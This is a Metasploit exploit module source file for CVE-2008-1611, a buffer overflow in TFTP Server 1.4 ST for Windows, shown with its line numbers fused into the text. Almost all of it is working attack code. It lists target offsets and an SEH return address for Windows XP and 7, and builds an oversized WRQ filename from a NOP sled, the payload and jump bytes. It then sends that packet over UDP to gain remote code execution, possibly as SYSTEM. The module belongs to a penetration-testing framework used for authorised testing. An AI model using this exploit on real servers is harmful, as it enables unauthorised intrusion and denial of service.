Path: blob/master/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking7include Msf::Exploit::Remote::Udp89def initialize(info = {})10super(11update_info(12info,13'Name' => 'TFTP Server for Windows 1.4 ST WRQ Buffer Overflow',14'Description' => %q{15This module exploits a vulnerability found in TFTP Server 1.4 ST. The flaw16is due to the way TFTP handles the filename parameter extracted from a WRQ request.17The server will append the user-supplied filename to TFTP server binary's path18without any bounds checking, and then attempt to check this path with a fopen().19Since this isn't a valid file path, fopen() returns null, which allows the20corrupted data to be used in a strcmp() function, causing an access violation.2122Since the offset is sensitive to how the TFTP server is launched, you must know23in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'24, and then manually select your target accordingly. A successful attempt will lead25to remote code execution under the context of SYSTEM if run as a service, or26the user if run as a standalone. A failed attempt will result a denial-of-service.27},28'Author' => [29'Mati Aharoni', # Initial discovery, PoC30'Datacut' # Metasploit31],32'References' => [33[ 'CVE', '2008-1611' ],34[ 'OSVDB', '43785' ],35[ 'BID', '18345' ],36[ 'EDB', '5314' ]37],38'DefaultOptions' => {39'EXITFUNC' => 'seh',40},41'Payload' => {42'Space' => 600,43'BadChars' => "\x00\x2f",44'StackAdjustment' => -350045},46'Platform' => 'win',47'Targets' => [48# datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1.49# possible may work for other service packs and or vista50# Rets = P/P/R from tftpserversp.exe51[ 'Windows XP SP2/SP3 EN Service Mode', { 'Ret' => 0x416801, 'Offset' => 1203 } ],52[ 'Windows XP SP2/SP3 EN Standalone Mode', { 'Ret' => 0x416801, 'Offset' => 1487 } ],53[ 'Windows 7 SP0/SP1 EN x64 Service Mode', { 'Ret' => 0x416801, 'Offset' => 1217 } ],54[ 'Windows 7 SP0/SP1 EN x64 Standalone Mode', { 'Ret' => 0x416801, 'Offset' => 1501 } ],55[ 'Windows 7 SP0/SP1 EN x86 Service Mode', { 'Ret' => 0x416801, 'Offset' => 1223 } ],56[ 'Windows 7 SP0/SP1 EN x86 Standalone Mode', { 'Ret' => 0x416801, 'Offset' => 1507 } ]57],58'Privileged' => false,59'DisclosureDate' => '2008-03-26',60'DefaultTarget' => 4,61'Notes' => {62'Reliability' => UNKNOWN_RELIABILITY,63'Stability' => UNKNOWN_STABILITY,64'SideEffects' => UNKNOWN_SIDE_EFFECTS65}66)67) # TFTP is installed as a service6869register_options(70[71Opt::RPORT(69)72]73)74end7576def exploit77connect_udp7879nops = make_nops(50)80lead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length)81near = "\xe9\x80\xfd\xff\xff" # jump back 640 bytes to the nop sled82nseh = "\xeb\xf9" + make_nops(2) # jump back 7 bytes to the long jump8384evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V')85mode = "netascii"8687# Send the WRQ packet (header "\x00\x02")88sploit = "\x00\x02" + evil + "\0" + mode + "\0"8990udp_sock.put(sploit)9192handler93disconnect_udp94end95end969798